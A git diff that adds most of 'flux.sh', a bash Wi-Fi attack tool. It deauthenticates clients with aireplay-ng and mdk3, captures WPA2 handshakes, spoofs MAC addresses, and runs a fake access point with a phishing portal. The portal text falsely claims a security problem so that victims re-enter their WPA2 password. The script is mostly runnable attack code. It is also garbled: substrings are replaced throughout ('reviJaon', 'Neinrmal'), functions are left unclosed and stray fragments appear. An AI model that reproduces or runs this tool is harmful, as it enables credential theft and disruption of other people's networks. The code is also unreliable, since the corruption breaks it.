diff --git a/flux.sh b/flux.sh index abaf438..a97bbb5 100644 --- a/flux.sh +++ b/flux.sh @@ -1,42 +1,50 @@ #!/bin/bash -########## Modo DEBUG ########## +########## Modus Debug ######### ## ## - flux_DEBUG=0 + Flux_DEBUG=0 ## ## ################################ ################################ # Name : Flux -# Version : 0.01 +# Version : 0.03 # ############################## +############################### +# Bug: +# conditional_clear() +# negative channel +# html page +################################ + +#fixed soon +#2 clear -##################################### < CONFIGURATION vom SCRIPT > ##################################### +##################################### < CONFIGURATION VOM SCRIPT > ##################################### #DUMP_PATH DUMP_PATH="/tmp/TMPlflux" #Anzahl der "DEAUTHTIME" DEAUTHTIME="8" -#Anzahl der "revision" +#Anzahl der "reviJaon" revision=35 -# Numero de version -version=0.101 +# Numero de verJaon +version=0.03 # IP DHCP IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Farben -#Colores -Weis="\033[1;37m" -Grau="\033[0;37m" -Magenta="\033[0;35m" -Rot="\033[1;31m" -Gruen="\033[1;32m" -Gelb="\033[1;33m" -Blau="\033[1;34m" -Transparent="\e[0m" +weis="\033[1;37m" +grau="\033[0;37m" +magenta="\033[0;35m" +rot="\033[1;31m" +gruen="\033[1;32m" +gelb="\033[1;33m" +blau="\033[1;34m" +transparent="\e[0m" # Debug / Entwickler MODUS if [ $FLUX_DEBUG = 1 ]; then @@ -50,17 +58,20 @@ fi function conditional_clear() { - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi + if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi } -# Check Updates [NOT WORKING] +# Check Updates [NeinT WORKING] +# Updates könnnen nicht abgeruen werden da die Seite nicht verfügbar ist +# Für event. rückfragen deltaxflux@github.com + function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then + reviJaon_online="$(timeout -s JaGTERM 20 curl -L "https://Jates.google.com/Jate/flux" 2>/dev/null| grep "^reviJaon" | cut -d "=" -f2)" + if [ -z "$reviJaon_online" ]; then echo "?">$DUMP_PATH/Irev else - echo "$revision_online">$DUMP_PATH/Irev + echo "$reviJaon_online">$DUMP_PATH/Irev fi } @@ -79,15 +90,1544 @@ function spinner { done printf " \b\b\b\b" } +# Debug Modus +if [ "$FLUX_DEBUG" = "1" ]; then + trap 'err_report $FLUX' ERR +fi + +# ERROR +function err_report { + echo "Error 002 $1" +} +# Script +trap exitmode SIGINT + +#Wichtig nicht editieren +#Hindergrundprozesse löchen / Anwirken um event. +########################################################################### function exitmode { - echo -e "\n\n"$Weis["$Rot" "$Weiß"] "$rot"ERROR 01"$Transparent" + echo -e "\n\n"$weis["$Rot" "$weis"] "$rot"ERROR 01"$Transparent" if ps -A | grep -q aireplay-ng; then - echo -e ""$Weis"["$Rot"-"$Weis"] "$Weis "Matando "$Grau "aireplay-ng"$Transparent - killall aireplay-ng &>$linset_output_device + echo -e ""$weis"["$Rot"-"$weis"] "$weis "Matando "$Grau "aireplay-ng"$Transparent + killall aireplay-ng &>$flux_output_device fi + if ps -A | grep -q airodump-ng; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI_MONITOR"$transparent"" + airmon-ng stop $WIFI_MONITOR &> $flux_output_device + fi + + if [ "$WIFI" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI"$transparent"" + airmon-ng stop $WIFI &> $flux_output_device + fi + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"ipforwarding"$transparent"" + echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding + fi + + echo -e ""$weis"["$rot"-"$weis"] "$weis"Limpiando "$grau"iptables"$transparent"" + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + + echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"tput"$transparent"" + tput cNeinrm + + if [ $flux_DEBUG != 1 ]; then + + echo -e ""$weis"["$rot"-"$weis"] "$weis"Eliminando "$grau"archivos"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + echo -e ""$weis"["$rot"-"$weis"] "$weis"Reiniciando "$grau"Netzwerk Manager"$transparent"" + service restart networkmanager &> $flux_output_device & + + echo -e ""$weis"["$gruen"+"$weis"] "$gruen"Limpiza efectuada con exito!"$transparent"" + exit + +} +# Web Interface +# Mehr Informationen Jaehe HTML Seite +# Interface vom Script DE +readarray -t webinterfaces < <(echo -e "Interface +\e[1;31mBeenden"$transparent"" +) + + + + +# Web Interface +readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] +\e[1;31mAtras"$transparent "" +) + +#Interface in GUI in DE +DIALOG_WEB_INFO_ENG="Da ein Jacherheitsproblem aufgetreten ist "$Host_ENC" Geben Jae bitte den WPA2 Schlüssel erneut ein um ihre Identität zu überprüfen" +DIALOG_WEB_INPUT_ENG="Geben Jae ihre WPA2 Password ein" +DIALOG_WEB_SUBMIT_ENG="Submit" +DIALOG_WEB_ERROR_ENG="Error: Das eingegebene Passwort ist falsch korrekt !" +DIALOG_WEB_OK_ENG="Vielen Dank ihre Verbindung wird in wenigen Minuten wieder hergestellt" +DIALOG_WEB_BACK_ENG="Zurück" +DIALOG_WEB_LENGHT_MIN_ENG="Das Passwort müsst länger als 7 Zeichen sein" +DIALOG_WEB_LENGHT_MAX_ENG="Das Passwort müsst kürzer als 64 Zeichen sein" + +#GUI + +function mostrarheader(){ + + clear + echo -e "$gruen#########################################################" + echo -e "$gruen# #" + echo -e "$gruen#$rot FLUX $verJaon" "${gelb}by ""${azul}Deltax""$gruen #" + echo -e "$gruen#""${rot} F""${gelb}lux" "${rot}I""${gelb}s" ""${rot}"a" ""${rot}S""${gelb}ocial ""${rot}E""${gelb}nginering" "${rot}T""${gelb}ool""$gruen" #" + echo -e "$gruen# #" + echo -e "$gruen#########################################################""$transparent " + echo + echo +} + +#Admin Rechte überprüfen +if ! [ $(id -u) = "0" ] 2>/dev/null; then + echo -e "\e[1;31mJae haben keine Admin Rechte"$transparent"" + echo "Bitte starten Jae neu; sudo ./flux.sh" + exit +fi + +# Programme überprüfen mit HASH +# FÜr mehr informationen siehe FLUX WIKI + +function checkdependences { + + echo -ne "Aircrack-ng....." + if ! hash aircrack-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Aireplay-ng....." + if ! hash aireplay-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airmon-ng......." + if ! hash airmon-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airodump-ng....." + if ! hash airodump-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Awk............." + if ! hash awk 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Curl............" + if ! hash curl 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Dhcpd..........." + if ! hash dhcpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Hostapd........." + if ! hash hostapd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Iwconfig........" + if ! hash iwconfig 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Lighttpd........" + if ! hash lighttpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Macchanger......" + if ! hash macchanger 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Mdk3............" + if ! hash mdk3 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Php5-cgi........" + if ! [ -f /usr/bin/php-cgi ]; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Pyrit..........." + if ! hash pyrit 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Python.........." + if ! hash python 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Unzip..........." + if ! hash unzip 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Xterm..........." + if ! hash xterm 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + if [ "$salir" = "1" ]; then + exit 1 + fi + + sleep 1 + clear +} + + +mostrarheader +checkdependences +if [ ! -d $DUMP_PATH ]; then + mkdir $DUMP_PATH &>$flux_output_device +fi + +# Intro del script +if [ $flux_DEBUG != 1 ]; then + + + tput civis + checkupdatess & + spinner "$!" + reviJaon_online=$(cat $DUMP_PATH/Irev) + echo -e ""$weis" [${magenta}${reviJaon_online}$weis"$transparent"]" + if [ "$reviJaon_online" != "?" ]; then + + if [ "$reviJaon" != "$reviJaon_online" ]; then + + cp $0 $HOME/flux_rev-$reviJaon.backup + sleep 5 + chmod +x $0 + exec $0 + + fi + fi + echo "" + tput cNeinrm + sleep 2 + +fi + + +function infoap { + + Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` + Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'` + echo "Info das WLAN" + echo + echo -e " "$gruen"SJaD"$transparent" = $Host_SJaD / $Host_ENC" + echo -e " "$gruen"Channel"$transparent" = $channel" + echo -e " "$gruen"Beacon"$transparent" = ${speed:2} Mbps" + echo -e " "$gruen"MAC "$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" + echo +} + + +####################### GUI - Menü ######################################### +#Automatische erkennung der Auflösung +function setresolution { + + function resA { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 90x13+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 83x26-0+0" + # Bottom left window +0-0 + BOTTOMLEFT="-geometry 90x24+0-0" + # Bottom right window -0-0 + BOTTOMRIGHT="-geometry 75x12-0-0" + TOPLEFTBIG="-geometry 91x42+0+0" + TOPRIGHTBIG="-geometry 83x26-0+0" + } + + function resB { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 92x14+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 68x25-0+0" + # Bottom left window +0-0 + BOTTOMLEFT="-geometry 92x36+0-0" + # Bottom right window -0-0 + BOTTOMRIGHT="-geometry 74x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 74x30-0+0" + } + function resC { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 100x20+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 109x20-0+0" + # Bottom left window +0-0 + BOTTOMLEFT="-geometry 100x30+0-0" + # Bottom right window -0-0 + BOTTOMRIGHT="-geometry 109x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 109x30-0+0" + } + function resD { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 110x35+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 99x40-0+0" + # Bottom left window +0-0 + BOTTOMLEFT="-geometry 110x35+0-0" + # Bottom right window -0-0 + BOTTOMRIGHT="-geometry 99x30-0-0" + TOPLEFTBIG="-geometry 110x72+0+0" + TOPRIGHTBIG="-geometry 99x40-0+0" + } + function resE { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 130x43+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 68x25-0+0" + # Bottom left window +0-0 + BOTTOMLEFT="-geometry 130x40+0-0" + BOTTOMRIGHT="-geometry 132x35-0-0" + TOPLEFTBIG="-geometry 130x85+0+0" + TOPRIGHTBIG="-geometry 132x48-0+0" + } + function resF { + # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) + TOPLEFT="-geometry 100x17+0+0" + # Upper right window -0+0 + TOPRIGHT="-geometry 90x27-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + # Bottom right window -0-0 + BOTTOMRIGHT="-geometry 90x20-0-0" + TOPLEFTBIG="-geometry 100x70+0+0" INICIAL ) + TOPRIGHTBIG="-geometry 90x27-0+0" + +detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimenJaons | tr -s " " | cut -d" " -f 3) +## A) 1024x600 +## B) 1024x768 +## C) 1280x768 +## D) 1280x1024 +## E) 1600x1200 +case $detectedresolution in + "1024x600" ) resA ;; + "1024x768" ) resB ;; + "1280x768" ) resC ;; + "1366x768" ) resC ;; + "1280x1024" ) resD ;; + "1600x1200" ) resE ;; + "1366x768" ) resF ;; + * ) resA ;; ## Fall +esac +} + + +#Interface [Automatische Erkennung der Auflösung] +#Jaehe Abschnitt 1 +function setinterface { + + + KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` + + for monkill in ${KILLMONITOR[@]}; do + airmon-ng stop $monkill >$flux_output_device + echo -n "$monkill, " + done + + readarray -t wirelesJafaces < <(airmon-ng |grep "-" | awk '{print $1}') + + INTERFACESNUMBER=`airmon-ng| grep -c "-"` + + echo + echo + echo Automatische erkennung der Auflösung + echo $detectedresolution + echo + + #Netzwerk Interface + if [ "$INTERFACESNUMBER" -gt "0" ]; then + + echo "Wählen Jae ihre Wlan Interface" + echo + i=0 + + for line in "${wirelesJafaces[@]}"; do + i=$(($i+1)) + wirelesJafaces[$i]=$line + echo -e "$gruen""$i)"$transparent" $line" + done + + echo -n "#? " + read line + PREWIFI=${wirelesJafaces[$line]} + + if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then + clear + mostrarheader + setinterface + fi + + readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "Interface" | awk '{ print $2 }') + WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') + rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 + + for molesto in "${softwaremolesto[@]}"; do + killall "$molesto" &>$flux_output_device + done + sleep 0.5 + + modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 + sleep 0.5 + + # Wählen sie ihr interface + select PREWIFI in $INTERFACES; do + break; + done + + + WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "Wifi Monitor [wlan0mon]" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFI_MONITOR=$WIFIMONITOR + + WIFI=$PREWIFI + + + else + # Interface konnte nicht gefunden / erkannt werden ; quit + echo Kein Wlan Interface erkannt ; ... + sleep 5 + exitmode + fi + +function deltax { + + clear + CSVDB=dump-01.csv + + rm -rf $DUMP_PATH/* + + choosescan + selection + changer +} + +function changer { + clear + macchanger -a wlan0 + macchanger -a wlan0mon + macchanger -a wlan1 + macchanger -a wlan1mon + +} + +function choosescan { + + clear + + while true; do + clear + mostrarheader + + echo "Wählen Jae ihren Channel " + echo " " + echo -e " "$gruen"1)"$transparent" Alle Channel " + echo -e " "$gruen"2)"$transparent" Ausgewählte Channel " + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) Scan ; break ;; + 2 ) Scanchan ; break ;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + done +} + +function Scanchan { + + clear + mostrarheader + + echo " " + echo " Wählen Jae einen Channel " + echo " " + echo -e " Ein Channel "$gruen"6"$transparent" " + echo -e " Mehrere Channel "$gruen"1-5"$transparent" " + echo -e " Mehrere Channel "$gruen"1,2,5-7,11"$transparent" " + echo " " + echo -n " #> " + read channel_number + set -- ${channel_number} + clear + + rm -rf $DUMP_PATH/dump* + xterm $HOLD -title "Channel auswahl --> $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR +} + +function Scan { + + clear + xterm $HOLD -title "Wlan Netzwerke" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR +} + + + + +function selection { + + clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " Wlan Liste " + echo "" + echo " # MAC CHAN SECU PWR ESJaD" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESJaD KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$gruen"$i")"$weis"$CLIENTE\t""$gelb"$MAC"\t""$gruen"$CHANNEL"\t""$rot" $PRIVACY"\t ""$gelb"$POWER%"\t""$gruen"$ESJaD""$transparent"" + aidlenght=$IDLENGTH + asJad[$i]=$ESJaD + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$gruen"("$weis"*"$gruen") Red con Clientes"$transparent"" + echo "" + echo " Netzwerk auswahl " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + sJad=${asJad[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#sJad} + fin=$(($acouper-idlength)) + Host_SJaD=${sJad:1:fin} + + clear + + askAP +} + +function askAP { + + DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` + + if [ $DIGITOS_WIFIS_CSV -le 15 ]; then + selection && break + fi + + if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then + fakeapmode="airbase-ng" + askauth + fi + + mostrarheader + while true; do + + infoap + + echo "Modus Fake AP" + echo " " + echo -e " "$gruen"1)"$transparent" Hostapd ("$rot"Recomendado"$transparent")" + echo -e " "$gruen"2)"$transparent" airbase-ng " + echo -e " "$gruen"3)"$transparent" Atras" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; + 2 ) fakeapmode="airbase-ng"; askauth; break ;; + 3 ) selection; break ;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + done + +} + +######################################################################################## +######################################################################################## + +function handshakelocation { + + clear +#Editieren Copyright by flux + mostrarheader + infoap + echo + echo -e "Speichern vom Handshark(Ej: $rot/root/micaptura.cap$transparent)" + echo -e "Pulsar ${gelb}ENTER$transparent para omitir" + echo + echo -n "ruta: " + echo -ne "$rot" + read handshakeloc + echo -ne "$transparent" + +#Editieren + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SJaD_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SJaD_loc" == *"$Host_SJaD"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "Gut,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Schlechter Handshake" + sleep 4 + handshakelocation + fi + else + echo -e "${rot}Error$transparent!" + echo + echo -e "File ${rot}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$gruen$(echo $i | cut -d " " -f1) $gelb$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($gruen$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${gruen}MAC$transparent" + echo -e "$gruen#1: $gelb$Host_MAC$transparent ($gruen$Host_SJaD$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "Archivo ${rot}Nein$transparent existe" + sleep 4 + handshakelocation + fi + fi +} + +function deauthforce { + + clear + + mostrarheader + while true; do + + echo "TIPO DE COMPROBACION DEL HANDSHAKE" + echo " " + echo -e " "$gruen"1)"$transparent" Neinrmal" + echo -e " "$gruen"2)"$transparent" Zurück" + echo -e " "$gruen"3)"$transparent" Schließen" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="Neinrmal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + done +} + +############################################### < MENU > ############################################### + + + + + + +############################################# < HANDSHAKE > ############################################ + +#Handshake + +function askclientsel { + + clear + + while true; do + mostrarheader + + echo "Captcha Handshake vom Netzwerk" + echo " " + echo -e " "$gruen"1)"$transparent" Realizar desaut. maJava al AP objetivo" + echo -e " "$gruen"2)"$transparent" Realizar desaut. maJava al AP (mdk3)" + echo -e " "$gruen"3)"$transparent" Realizar desaut. especifica al AP objetivo" + echo -e " "$gruen"4)"$transparent" Volver a escanear las redes" + echo -e " "$gruen"5)"$transparent" Beenden" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; vk496; break;; + 5 ) exitmode; break ;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + done + +} + +# +function deauth { + + clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + +} + +function deauthMENU { + + Handshake_statuscheck="${grau}Jan handshake$transparent" + + while true; do + clear + mostrarheader + + echo "Handshake ?" + echo + echo -e "Estado del handshake: $Handshake_statuscheck" + echo + echo -e " "$gruen"1)"$transparent" Ja" + echo -e " "$gruen"2)"$transparent" Nein" + echo -e " "$gruen"3)"$transparent" Nein" + echo -e " "$gruen"4)"$transparent" Nur rot makierten (Ausgewählten)" + echo -e " "$gruen"5)"$transparent" Beenden" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + + done +} + +# Capruta todas las redes +function capture { + + clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturando datos en el canal --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bsJad $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi +} + +# Comprueba el handshake antes de continuar +function checkhandshake { + + if [ "$handshakemode" = "Neinrmal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${rot}Malo$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${gelb}Corrupto$transparent" + else + Handshake_statuscheck="${rot}Malo$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi +} + +############################################# < HANDSHAKE > ############################################ + + + + + + +############################################# < ATAQUE > ############################################ + +# Selecciona interfaz web que se va a usar +function webinterface { + + while true; do + clear + mostrarheader + + infoap + echo + echo "SELECCIONA LA INTERFACE WEB" + echo + + echo -e "$gruen""1)"$transparent" Interface web neutra" + echo -e "$gruen""2)"$transparent" \e[1;31mBeenden"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + clear + mostrarheader + + infoap + echo + echo "SELECCIONA IDIOMA" + echo + + echo -e "$gruen""1)"$transparent" English [ENG]" + echo -e "$gruen""2)"$transparent" Spanish [ESP]" + echo -e "$gruen""3)"$transparent" Italy [IT]" + echo -e "$gruen""4)"$transparent" French [FR]" + echo -e "$gruen""5)"$transparent" Portuguese [POR]" + echo -e "$gruen""6)"$transparent" \e[1;31mAtras"$transparent"" + + echo + echo -n "#? " + read linea + language=${webinterfaceslenguage[$line]} + + if [ "$linea" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$linea" = "2" ]; then + 